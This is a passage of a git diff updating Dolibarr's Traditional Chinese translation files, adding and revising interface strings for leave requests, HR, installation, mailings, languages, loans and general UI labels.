NotActiveModCP=您必須啟用“休假”模組才能查看此頁面。 AddCP=建立休假申請 DateDebCP=開始日期 @@ -44,8 +46,8 @@ NbUseDaysCPHelp=此計算考慮了分類中定義的非工作日和假期。 NbUseDaysCPShort=休假天數 NbUseDaysCPShortInMonth=月休假天數 DayIsANonWorkingDay=%s 是非工作日 -DateStartInMonth=開始日期(月份) -DateEndInMonth=結束日期(月份) +DateStartInMonth=開始日期(月) +DateEndInMonth=結束日期(月) EditCP=編輯 DeleteCP=刪除 ActionRefuseCP=拒絕 @@ -56,6 +58,7 @@ ConfirmDeleteCP=確認刪除此休假申請嗎? ErrorCantDeleteCP=錯誤,您無權刪除此休假申請。 CantCreateCP=您無權提出休假申請。 InvalidValidatorCP=您必須為休假申請選擇批准人。 +InvalidValidator=選擇的用戶無法批准假期。 NoDateDebut=您必須選擇開始日期。 NoDateFin=您必須選擇結束日期。 ErrorDureeCP=您的休假申請不包含工作日。 @@ -79,6 +82,8 @@ MotifCP=原因 UserCP=用戶 ErrorAddEventToUserCP=增加特殊假期時發生錯誤。 AddEventToUserOkCP=特別假期的增加已經完成。 +ErrorFieldRequiredUserOrGroup=必須填寫"群組"欄位與"用戶"欄位 +fusionGroupsUsers=群組欄位與用戶欄位將合併 MenuLogCP=檢視變更日誌 LogCP=休假餘額更新日誌 ActionByCP=更新者 @@ -86,6 +91,13 @@ UserUpdateCP=更新為 PrevSoldeCP=剩餘假期 NewSoldeCP=新剩餘假期 alreadyCPexist=在此期間之休假申請已完成。 +UseralreadyCPexist=此%s期間的休假申請已完成 +groups=群組 +users=用戶 +AutoSendMail=自動發送郵件 +NewHolidayForGroup=新的集體休假申請 +SendRequestCollectiveCP=發送集體休假申請 +AutoValidationOnCreate=自動驗證 FirstDayOfHoliday=假期的第一天 LastDayOfHoliday=假期的最後一天 BoxTitleLastLeaveRequests=最新%s筆已修改的休假申請 @@ -134,6 +146,13 @@ HolidaysToApprove=可批准假期 NobodyHasPermissionToValidateHolidays=沒有人有權限驗證假期 HolidayBalanceMonthlyUpdate=每月更新假期餘額 XIsAUsualNonWorkingDay=%s通常為非工作日 -BlockHolidayIfNegative=Block if balance negative -LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative +BlockHolidayIfNegative=如果餘額為負值,則鎖定 +LeaveRequestCreationBlockedBecauseBalanceIsNegative=由於您的餘額為負值,此休假的建立已被鎖定 ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=休假 %s 為草案、取消或拒絕,將被刪除 +IncreaseHolidays=增加假期 +HolidayRecordsIncreased= %s 的假期記錄已增加 +HolidayRecordIncreased=假期記錄已增加 +ConfirmMassIncreaseHoliday=批次增加假期 +NumberDayAddMass=增加到選擇的天數 +ConfirmMassIncreaseHolidayQuestion=您確定要增加 %s 所選的已記錄假期嗎? +HolidayQtyNotModified=%s 的剩餘天數未變更 diff --git a/htdocs/langs/zh_TW/hrm.lang b/htdocs/langs/zh_TW/hrm.lang index ca67129cf3e..69879dd2d07 100644 --- a/htdocs/langs/zh_TW/hrm.lang +++ b/htdocs/langs/zh_TW/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=開啟營業所 CloseEtablishment=關閉營業所 # Dictionary DictionaryPublicHolidays=休假 - 公共假期 -DictionaryDepartment=HRM - Organizational Unit +DictionaryDepartment=人力資源管理 - 部門清單 DictionaryFunction=人力資源管理-職位 # Module Employees=員工 @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=建立技能時的預設等級描述 deplacement=轉移 DateEval=評估日期 JobCard=工作卡 -JobPosition=工作 -JobsPosition=工作 +JobPosition=職位簡介 +JobsPosition=職位簡介 NewSkill=新技能 SkillType=技能類型 Skilldets=此技能的等級清單 @@ -88,4 +88,5 @@ DeleteSkill = 技能已刪除 SkillsExtraFields=補充屬性(能力) JobsExtraFields=補充屬性 (職位) EvaluationsExtraFields=補充屬性(評估) -NeedBusinessTravels=Need business travels +NeedBusinessTravels=需要出差 +NoDescription=沒有說明 diff --git a/htdocs/langs/zh_TW/install.lang b/htdocs/langs/zh_TW/install.lang index ef83355b6b1..c8568a6b4fc 100644 --- a/htdocs/langs/zh_TW/install.lang +++ b/htdocs/langs/zh_TW/install.lang @@ -1,22 +1,22 @@ # Dolibarr language file - Source file is en_US - install InstallEasy=只需按照說明進行操作即可。 MiscellaneousChecks=安裝條件檢查 -ConfFileExists=配置文件%s存在。 -ConfFileDoesNotExistsAndCouldNotBeCreated=配置文件%s不存在,無法建立! -ConfFileCouldBeCreated=%s配置文件可以建立。 -ConfFileIsNotWritable=配置文件%s不可寫入。檢查權限。對於首次安裝,您的網頁伺服器必須能夠在設定過程中寫入該文件(例如,在類Unix系統中使用“ chmod 666”)。 -ConfFileIsWritable=配置文件%s可寫入。 -ConfFileMustBeAFileNotADir=配置文件%s必須是一個檔案,而不是資料夾。 -ConfFileReload=從配置文件中重新載入參數。 -NoReadableConfFileSoStartInstall=The configuration file conf/conf.php does not exists or is not readable. We will run the installation process to try to initialize it. +ConfFileExists=設定檔案%s存在。 +ConfFileDoesNotExistsAndCouldNotBeCreated=設定檔案%s不存在,無法建立! +ConfFileCouldBeCreated=設定檔案%s可以建立。 +ConfFileIsNotWritable=設定檔案%s不可寫入。檢查權限。對於首次安裝,您的網頁伺服器必須能夠在設定過程中寫入該檔案(例如,在類Unix系統中使用“ chmod 666”)。 +ConfFileIsWritable=設定檔案%s可寫入。 +ConfFileMustBeAFileNotADir=設定檔案%s必須是一個檔案,而不是資料夾。 +ConfFileReload=從設定檔案中重新載入參數。 +NoReadableConfFileSoStartInstall=設定檔案 conf/conf.php 不存在或無法讀取。我們將執行安裝程序以嘗試對其進行初始化。 PHPSupportPOSTGETOk=此PHP支援變數POST和GET。 PHPSupportPOSTGETKo=您的PHP設定可能不支援變數POST和/或GET。檢查php.ini中的參數variables_order 。 PHPSupportSessions=這個PHP支援session。 PHPSupport=此PHP支援%s函數。 PHPMemoryOK=您的PHP最大session記憶體設定為%s 。這應該足夠了。 -PHPMemoryTooLow=您的PHP最大session記憶體為%sbytes。這太低了。更改您的php.ini,以將記憶體限制/b>參數設定為至少%sbytes。 +PHPMemoryTooLow=您的PHP最大程序記憶體為%sbytes。這太低了。更改您的php.ini,以將記憶體限制參數設定為至少%sbytes。 Recheck=點擊這裡進行更詳細的測試 -ErrorPHPDoesNotSupportSessions=您的PHP安裝不支援session。需要此功能才能使Dolibarr正常工作。檢查您的PHP設定和session目錄的權限。 +ErrorPHPDoesNotSupportSessions=您的PHP安裝不支援session。需要此功能才能使Dolibarr正常工作。檢查您的PHP設定和session資料夾的權限。 ErrorPHPDoesNotSupport=您的PHP安裝不支援%s函數。 ErrorDirDoesNotExists=資料夾%s不存在。 ErrorGoBackAndCorrectParameters=返回並檢查/更正參數。 @@ -24,11 +24,11 @@ ErrorWrongValueForParameter=您可能為參數“ %s”輸入了錯誤的值。 ErrorFailedToCreateDatabase=無法建立資料庫'%s'。 ErrorFailedToConnectToDatabase=無法連接到資料庫“ %s”。 ErrorDatabaseVersionTooLow=資料庫版本 (%s) 太舊. 需要至少版本 %s 或更新版本 -ErrorPHPVersionTooLow=PHP version too old. Version %s or higher is required. -ErrorPHPVersionTooHigh=PHP version too high. Version %s or lower is required. +ErrorPHPVersionTooLow=PHP 版本太舊。需要版本 %s 或更高版本。 +ErrorPHPVersionTooHigh=PHP 版本太高。需要 %s 或更低版本。 ErrorConnectedButDatabaseNotFound=與伺服器的連接成功,但未找到資料庫'%s'。 ErrorDatabaseAlreadyExists=資料庫'%s'已經存在。 -ErrorNoMigrationFilesFoundForParameters=No migration file found for the selected versions +ErrorNoMigrationFilesFoundForParameters=找不到所選版本的遷移檔案 IfDatabaseNotExistsGoBackAndUncheckCreate=如果資料庫不存在,請返回並檢查選項“建立資料庫”。 IfDatabaseExistsGoBackAndCheckCreate=如果資料庫已經存在,請返回並取消選取“建立資料庫”選項。 WarningBrowserTooOld=瀏覽器版本太舊。強烈建議將瀏覽器升級到最新版本的Firefox,Chrome或Opera。 @@ -51,7 +51,6 @@ DatabaseName=資料庫名稱 DatabasePrefix=資料庫表前綴 DatabasePrefixDescription=資料庫表前綴.如果空白,預設為llx_. AdminLogin=Dolibarr資料庫擁有者的帳戶。 -PasswordAgain=再輸入一次密碼確認 AdminPassword=Dolibarr資料庫擁有者密碼。 CreateDatabase=建立資料庫 CreateUser=在Dolibarr資料庫上建立帳戶或授予帳戶權限 @@ -89,7 +88,7 @@ LoginAlreadyExists=已存在 DolibarrAdminLogin=Dolibarr管理員登入 AdminLoginAlreadyExists=Dolibarr管理員帳戶 '%s'已經存在。如果要建立另一個,請返回。 FailedToCreateAdminLogin=無法建立Dolibarr管理員帳戶。 -WarningRemoveInstallDir=警告,出於安全原因,安裝或升級完成後,應在Dolibarr檔案資料夾中增加一個名為install.lock的文件,以防止再次意外/惡意的使用安裝工具。 +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=在此PHP中不可用 ChoosedMigrateScript=選擇遷移腳本 DataMigration=資料庫遷移(數據) @@ -209,7 +208,12 @@ HideNotAvailableOptions=隱藏不可用的選項 ErrorFoundDuringMigration=在移轉過程中出現了錯誤,因此無法進行下一步。要忽略錯誤,可以點擊此處 ,但是在解決錯誤之前,該應用程序或某些功能可能無法正常運行。 YouTryInstallDisabledByDirLock=此應用程式嘗試進行自我升級,但是出於安全性考慮,已停用了安裝/升級頁面(已使用.lock副檔名重新命名資料夾)。
      YouTryInstallDisabledByFileLock=此應用程式嘗試進行自我升級,但是出於安全性考慮,已停用了安裝/升級頁面(由於dolibarr檔案資料夾中存在鎖定文件install.lock )。
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=點擊此處前往您的應用程式 ClickOnLinkOrRemoveManualy=如果正在進行升級,請等待。如果沒有,請點擊以下連結。如果始終看到同一頁面,則必須在documents資料夾中刪除/重新命名install.lock檔案。 +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=已載入 FunctionTest=功能測試 +NodoUpgradeAfterDB=升級資料庫後未收到外部模組的行動請求 +NodoUpgradeAfterFiles=升級檔案或資料夾後未得到外部模組的行動請求 +MigrationContractLineRank=遷移合約行以使用排名(並啟用重新排序) diff --git a/htdocs/langs/zh_TW/interventions.lang b/htdocs/langs/zh_TW/interventions.lang index 491df5da738..af9a37b2b12 100644 --- a/htdocs/langs/zh_TW/interventions.lang +++ b/htdocs/langs/zh_TW/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=為干預記錄隱藏日期中的小時和分鐘 InterventionStatistics=干預統計 NbOfinterventions=干預卡數量 NumberOfInterventionsByMonth=每月干預卡的數量(驗證日期) -AmountOfInteventionNotIncludedByDefault=預設情況下,干預金額不包括在利潤中(在大多數情況下,時間表用於計算花費的時間)。將選項PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT加到首頁- 設定- 其他中並設定為1以包括它們。 +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=干預ID InterRef=干預參考 InterDateCreation=干預的建立日期 @@ -68,3 +68,5 @@ ConfirmReopenIntervention=您確定要打開干預 %s 嗎? GenerateInter=產生干預 FichinterNoContractLinked=干預 %s 已在沒有連結合約的情況下建立。 ErrorFicheinterCompanyDoesNotExist=公司不存在。干預尚未產生。 +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/zh_TW/knowledgemanagement.lang b/htdocs/langs/zh_TW/knowledgemanagement.lang index a51c54fd32b..1eebe0da8ee 100644 --- a/htdocs/langs/zh_TW/knowledgemanagement.lang +++ b/htdocs/langs/zh_TW/knowledgemanagement.lang @@ -46,7 +46,7 @@ KnowledgeRecords = 文章 KnowledgeRecord = 文章 KnowledgeRecordExtraFields = 文章的補充屬性 GroupOfTicket=服務單群組 -YouCanLinkArticleToATicketCategory=You can link the article to a ticket group (so the article will be highlighted on any tickets in this group) +YouCanLinkArticleToATicketCategory=您可以將文章連結至服務單群組(這樣文章將突顯在該群組中的任何服務單上) SuggestedForTicketsInGroup=建議的服務單群組 SetObsolete=設定為已過時 diff --git a/htdocs/langs/zh_TW/languages.lang b/htdocs/langs/zh_TW/languages.lang index f7cbc99c7a9..dcfae21fce3 100644 --- a/htdocs/langs/zh_TW/languages.lang +++ b/htdocs/langs/zh_TW/languages.lang @@ -13,6 +13,7 @@ Language_az_AZ=亞塞拜然 Language_bn_BD=孟加拉語 Language_bn_IN=孟加拉語(印度) Language_bg_BG=保加利亞語 +Language_bo_CN=藏語 Language_bs_BA=波斯尼亞語 Language_ca_ES=加泰羅尼亞語 Language_cs_CZ=捷克语 @@ -22,6 +23,7 @@ Language_da_DK=丹麥語 Language_de_DE=德語 Language_de_AT=德語(奧地利) Language_de_CH=德語(瑞士) +Language_de_LU=德語(盧森堡) Language_el_GR=希臘語 Language_el_CY=希臘語(塞浦路斯) Language_en_AE=英語(阿拉伯聯合酋長國) @@ -30,15 +32,17 @@ Language_en_CA=英語(加拿大) Language_en_GB=英語(英國) Language_en_IN=英國(印度) Language_en_NZ=英語(紐西蘭) -Language_en_SA=英语 (沙特阿拉伯) -Language_en_SG=英文(新加坡) +Language_en_SA=英語 (沙烏地阿拉伯) +Language_en_SG=英語(新加坡) Language_en_US=英語(美國) Language_en_ZA=英語(南非) +Language_en_ZW=英語(辛巴威) Language_es_ES=西班牙語 Language_es_AR=西班牙語(阿根廷) Language_es_BO=西班牙語(玻利維亞) Language_es_CL=西班牙語(智利) Language_es_CO=西班牙語(哥倫比亞) +Language_es_CR=西班牙語(哥斯大黎加) Language_es_DO=西班牙語(多明尼加共和國) Language_es_EC=西班牙語(厄瓜多爾) Language_es_GT=西班牙語(瓜地馬拉) @@ -93,6 +97,7 @@ Language_nl_BE=荷蘭語(比利時) Language_nl_NL=荷蘭人 Language_pl_PL=波蘭語 Language_pt_AO=葡萄牙語(安哥拉) +Language_pt_MZ=葡萄牙語(莫三比克) Language_pt_BR=葡萄牙語(巴西) Language_pt_PT=葡萄牙語 Language_ro_MD=羅馬尼亞語(摩爾達維亞) @@ -108,6 +113,7 @@ Language_sv_SE=瑞典語 Language_sq_AL=阿爾巴尼亞語 Language_sk_SK=斯洛伐克語 Language_sr_RS=塞爾維亞語 +Language_sw_KE=史瓦希里語 Language_sw_SW=斯瓦希里語 Language_th_TH=泰國語 Language_uk_UA=烏克蘭語 diff --git a/htdocs/langs/zh_TW/loan.lang b/htdocs/langs/zh_TW/loan.lang index d360a5d3099..6754ac5f1cd 100644 --- a/htdocs/langs/zh_TW/loan.lang +++ b/htdocs/langs/zh_TW/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=財務承諾 InterestAmount=利益 CapitalRemain=剩餘資本 TermPaidAllreadyPaid = 這表示已付款 -CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started +CantUseScheduleWithLoanStartedToPaid = 無法為已開始付款的貸款產生時間表 CantModifyInterestIfScheduleIsUsed = 如果您使用時間表,則無法修改利息 # Admin ConfigLoan=貸款模組設定 -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=預設會計帳戶資金 -LOAN_ACCOUNTING_ACCOUNT_INTEREST=預設帳戶利息 -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=預設帳戶保險 +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=預設情況下用於資本(貸款模組)的帳戶(來自帳戶圖表) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=預設用於利息的帳戶(來自帳戶圖表)(貸款模組) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=預設情況下用於保險的帳戶(來自帳戶圖表)(貸款模組) CreateCalcSchedule=編輯財務承諾 diff --git a/htdocs/langs/zh_TW/mailmanspip.lang b/htdocs/langs/zh_TW/mailmanspip.lang index bab4b3576b4..37a9e776066 100644 --- a/htdocs/langs/zh_TW/mailmanspip.lang +++ b/htdocs/langs/zh_TW/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip -MailmanSpipSetup=Mailman and SPIP module Setup -MailmanTitle=Mailman mailing list system -TestSubscribe=To test subscription to Mailman lists -TestUnSubscribe=To test unsubscribe from Mailman lists -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully -SynchroMailManEnabled=A Mailman update will be performed -SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password -DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions -DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions -DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) -SPIPTitle=SPIP Content Management System -DescADHERENT_SPIP_SERVEUR=SPIP Server -DescADHERENT_SPIP_DB=SPIP database name -DescADHERENT_SPIP_USER=SPIP database login -DescADHERENT_SPIP_PASS=SPIP database password -AddIntoSpip=Add into SPIP -AddIntoSpipConfirmation=Are you sure you want to add this member into SPIP? -AddIntoSpipError=Failed to add the user in SPIP -DeleteIntoSpip=Remove from SPIP -DeleteIntoSpipConfirmation=Are you sure you want to remove this member from SPIP? -DeleteIntoSpipError=Failed to suppress the user from SPIP -SPIPConnectionFailed=Failed to connect to SPIP -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +MailmanSpipSetup=Mailman和SPIP模組設定 +MailmanTitle=Mailman郵件清單系統 +TestSubscribe=測試從Mailman清單訂閱 +TestUnSubscribe=測試從Mailman清單退訂 +MailmanCreationSuccess=訂閱測試已成功執行 +MailmanDeletionSuccess=取消訂閱測試已成功執行 +SynchroMailManEnabled=將執行Mailman更新 +SynchroSpipEnabled=將執行Spip更新 +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman管理員密碼 +DescADHERENT_MAILMAN_URL=Mailman的訂閱網址 +DescADHERENT_MAILMAN_UNSUB_URL=Mailman的取消訂閱網址 +DescADHERENT_MAILMAN_LISTS=新會員自動題名清單(以逗號分隔) +SPIPTitle=SPIP內容管理系統 +DescADHERENT_SPIP_SERVEUR=SPIP伺服器 +DescADHERENT_SPIP_DB=SPIP資料庫名稱 +DescADHERENT_SPIP_USER=SPIP資料庫登入名稱 +DescADHERENT_SPIP_PASS=SPIP資料庫密碼 +AddIntoSpip=增加到SPIP +AddIntoSpipConfirmation=您確定要將此會員加到SPIP嗎? +AddIntoSpipError=無法在SPIP中增加此用戶 +DeleteIntoSpip=從SPIP刪除 +DeleteIntoSpipConfirmation=您確定要從SPIP中刪除此會員嗎? +DeleteIntoSpipError=無法禁止此用戶使用SPIP +SPIPConnectionFailed=無法連接到SPIP +SuccessToAddToMailmanList=已成功地將%s增加到mailman清單%s或SPIP資料庫 +SuccessToRemoveToMailmanList=從mailman清單%s或SPIP資料庫中成功地刪除了%s diff --git a/htdocs/langs/zh_TW/mails.lang b/htdocs/langs/zh_TW/mails.lang index cd5b4703c34..471ed027775 100644 --- a/htdocs/langs/zh_TW/mails.lang +++ b/htdocs/langs/zh_TW/mails.lang @@ -7,10 +7,10 @@ MailCard=電子郵件卡片 MailRecipients=收件人 MailRecipient=收件人 MailTitle=描述 -MailFrom=寄件人 +MailFrom=從 MailErrorsTo=錯誤收件箱 MailReply=回覆 -MailTo=收件人 +MailTo=到 MailToUsers=寄送給用戶 MailCC=副本 MailToCCUsers=CC @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=依職位聯絡 MailingModuleDescEmailsFromFile=來自檔案的電子郵件 MailingModuleDescEmailsFromUser=用戶輸入的電子郵件 MailingModuleDescDolibarrUsers=擁有電子郵件的用戶 -MailingModuleDescThirdPartiesByCategories=合作方(依類別) +MailingModuleDescThirdPartiesByCategories=合作方 SendingFromWebInterfaceIsNotAllowed=不允許從Web界面發送。 EmailCollectorFilterDesc=所有過濾條件必須符合才能收集電子郵件 @@ -178,3 +178,5 @@ IsAnAnswer=是一封原始電子郵件的回應 RecordCreatedByEmailCollector=由電子郵件收集器%s從電子郵件%s建立的記錄 DefaultBlacklistMailingStatus=建立新聯絡人時欄位“%s”的預設值 DefaultStatusEmptyMandatory=必填 +WarningLimitSendByDay=警告:實例的設定或合約將每天的電子郵件數量限制為 %s 。嘗試發送更多可能會導致您的實例變慢或暫停。如果您需要更高的配額,請聯絡您的服務人員。 +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/zh_TW/main.lang b/htdocs/langs/zh_TW/main.lang index 2ebebd67743..9be594d9db8 100644 --- a/htdocs/langs/zh_TW/main.lang +++ b/htdocs/langs/zh_TW/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=msungstdlight FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=此電子郵件類別沒有可用的範本 AvailableVariables=可用的替代變數 NoTranslation=沒有翻譯 Translation=翻譯 +Translations=翻譯 CurrentTimeZone=PHP (伺服器)時區 EmptySearchString=輸入非空白的搜索字串 EnterADateCriteria=輸入日期條件 @@ -199,6 +206,7 @@ Valid=有效 Approve=核准 Disapprove=不核准 ReOpen=重新公開 +OpenVerb=啟用 Upload=上傳 ToLink=連線 Select=選擇 @@ -218,6 +226,7 @@ NoUserGroupDefined=未定義用戶群組 Password=密碼 PasswordRetype=重新輸入您的密碼 NoteSomeFeaturesAreDisabled=請注意在這個示範中多項功能/模組已關閉。 +YourUserFile=您的使用者資料 Name=名稱 NameSlashCompany=姓名/公司 Person=人員 @@ -261,8 +270,8 @@ Connection=登入 Setup=設定 Alert=警告 MenuWarnings=警告 -Previous=上一步 -Next=下一步 +Previous=上一次 +Next=下一次 Cards=資訊卡 Card=資訊卡 Now=現在 @@ -481,6 +490,7 @@ ActionsOnContact=通訊錄/地址事件 ActionsOnContract=此合約的事件 ActionsOnMember=此會員的各種事件 ActionsOnProduct=此產品的各種事件 +ActionsOnAsset=此固定資產的活動 NActionsLate=%s筆等待驗證 ToDo=待辦 Completed=已完成 @@ -498,7 +508,7 @@ TotalDuration=總時間 Summary=摘要 DolibarrStateBoard=資料庫統計 DolibarrWorkBoard=開啟項目 -NoOpenedElementToProcess=沒有已開啟元件要執行 +NoOpenedElementToProcess=沒有已啟用元件要執行 Available=可用 NotYetAvailable=尚不可用 NotAvailable=無法使用 @@ -535,8 +545,8 @@ Drafts=草案 StatusInterInvoiced=已開票 Validated=已驗證 ValidatedToProduce=已驗證(生產) -Opened=開放 -OpenAll=開放(全部) +Opened=啟用 +OpenAll=啟用(全部) ClosedAll=已關閉(全部) New=新增 Discount=折扣 @@ -712,7 +722,7 @@ FeatureDisabled=功能已關閉 MoveBox=移動小工具 Offered=已提供 NotEnoughPermissions=您沒有權限執行這個動作 -UserNotInHierachy=This action is reserved to the supervisors of this user +UserNotInHierachy=此動作僅供此使用者之主管使用 SessionName=連線程序名稱 Method=方法 Receive=收到 @@ -888,6 +898,9 @@ MassFilesArea=批次檔案建立區域 ShowTempMassFilesArea=顯示批次檔案建立區域 ConfirmMassDeletion=批次刪除確認 ConfirmMassDeletionQuestion=您確定要刪除%s已選記錄嗎? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=選取專案複製到 +ConfirmMassCloneToOneProject=複製至專案%s RelatedObjects=相關項目 ClassifyBilled=分類已開票 ClassifyUnbilled=分類未開票 @@ -903,13 +916,14 @@ ExportFilteredList=匯出已篩選清單 ExportList=匯出清單 ExportOptions=匯出選項 IncludeDocsAlreadyExported=包含的文件已輸出 -ExportOfPiecesAlreadyExportedIsEnable=啟用已匯出出口件 -ExportOfPiecesAlreadyExportedIsDisable=已停用已匯出出口件 +ExportOfPiecesAlreadyExportedIsEnable=已匯出之文件已可見且將匯出完成 +ExportOfPiecesAlreadyExportedIsDisable=已匯出之文件已隱藏且不會再匯出 AllExportedMovementsWereRecordedAsExported=所有匯出動作均記錄為已匯出 NotAllExportedMovementsCouldBeRecordedAsExported=並非所有匯出動作都可以記錄為已匯出 Miscellaneous=雜項 Calendar=行事曆 GroupBy=群組依... +GroupByX=依%s群組起來 ViewFlatList=檢視平面清單 ViewAccountList=檢視總帳 ViewSubAccountList=檢視子帳戶總帳 @@ -921,6 +935,7 @@ DirectDownloadInternalLink=私人下載連結 PrivateDownloadLinkDesc=您需要登錄,並且需要有查看或下載檔案的權限 Download=下載 DownloadDocument=下載文件 +DownloadSignedDocument=下載已簽名文件 ActualizeCurrency=更新匯率 Fiscalyear=會計年度 ModuleBuilder=模組與應用程式建構器 @@ -947,8 +962,8 @@ LeadOrProject=潛在|專案 LeadsOrProjects=潛在|專案 Lead=潛在 Leads=潛在 -ListOpenLeads=列出打開潛在 -ListOpenProjects=列出打開專案 +ListOpenLeads=列出啟用潛在 +ListOpenProjects=列出啟用專案 NewLeadOrProject=新潛在客戶或專案 Rights=權限 LineNb=行號 @@ -1046,6 +1061,7 @@ SearchIntoContracts=合約 SearchIntoCustomerShipments=客戶出貨 SearchIntoExpenseReports=費用報表 SearchIntoLeaves=休假 +SearchIntoKM=知識庫 SearchIntoTickets=服務單 SearchIntoCustomerPayments=客戶付款 SearchIntoVendorPayments=供應商付款 @@ -1117,6 +1133,7 @@ DeleteFileText=您確定要刪除檔案嗎? ShowOtherLanguages=顯示其他語言 SwitchInEditModeToAddTranslation=切換到編輯模式以添加該語言的翻譯 NotUsedForThisCustomer=未用於此客戶 +NotUsedForThisVendor=未使用於此供應商 AmountMustBePositive=金額必須為正 ByStatus=依狀態 InformationMessage=資訊 @@ -1137,15 +1154,29 @@ EventReminder=事件提醒 UpdateForAllLines=更新所有行 OnHold=On hold Civility=稱謂或頭銜 -AffectTag=設定標籤/類別 +AffectTag=指定標籤 +AffectUser=指定使用者 +SetSupervisor=設定主管 CreateExternalUser=建立外部用戶 -ConfirmAffectTag=批量設定標籤/類別 -ConfirmAffectTagQuestion=您確定要設定%s所選記錄的標籤/分類嗎? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=角色指定於每個專案/機會 +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=批量設定主管 +ConfirmUpdatePrice=選擇增加/減少費率 +ConfirmAffectTagQuestion=您確定要設定此標籤至%s已選紀錄? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=找不到記錄類型的標籤類型 +Rate=稅率 +SupervisorNotFound=找不到主管 CopiedToClipboard=複製到剪貼簿 InformationOnLinkToContract=這個金額只是合約所有行的總和。沒有考慮時間的因素。 ConfirmCancel=您確定要取消? EmailMsgID=電子郵件訊息 ID +EmailDate=寄送日期 +SetToStatus=Set to status %s SetToEnabled=設定為啟用 SetToDisabled=設定為停用 ConfirmMassEnabling=批次啟用確認 @@ -1174,9 +1205,23 @@ Terminated=已終止 AddLineOnPosition=在位置增加行(如果為空,則在末尾) ConfirmAllocateCommercial=分配業務代表確認 ConfirmAllocateCommercialQuestion=您確定要分配 %s 選定的記錄嗎? -CommercialsAffected=受影響的業務代表 -CommercialAffected=受影響的業務代表 -YourMessage=Your message +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=你的訊息 YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=內部用戶 +ExternalUser=外部用戶 +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date +PublicVirtualCardUrl=Virtual business card page +TreeView=Tree view diff --git a/htdocs/langs/zh_TW/members.lang b/htdocs/langs/zh_TW/members.lang index b4c6a31ef51..b38c36db28c 100644 --- a/htdocs/langs/zh_TW/members.lang +++ b/htdocs/langs/zh_TW/members.lang @@ -1,7 +1,7 @@ # Dolibarr language file - Source file is en_US - members MembersArea=會員專區 MemberCard=會員卡 -SubscriptionCard=認購卡 +SubscriptionCard=訂閱卡 Member=會員 Members=會員 ShowMember=顯示會員卡 @@ -15,6 +15,7 @@ 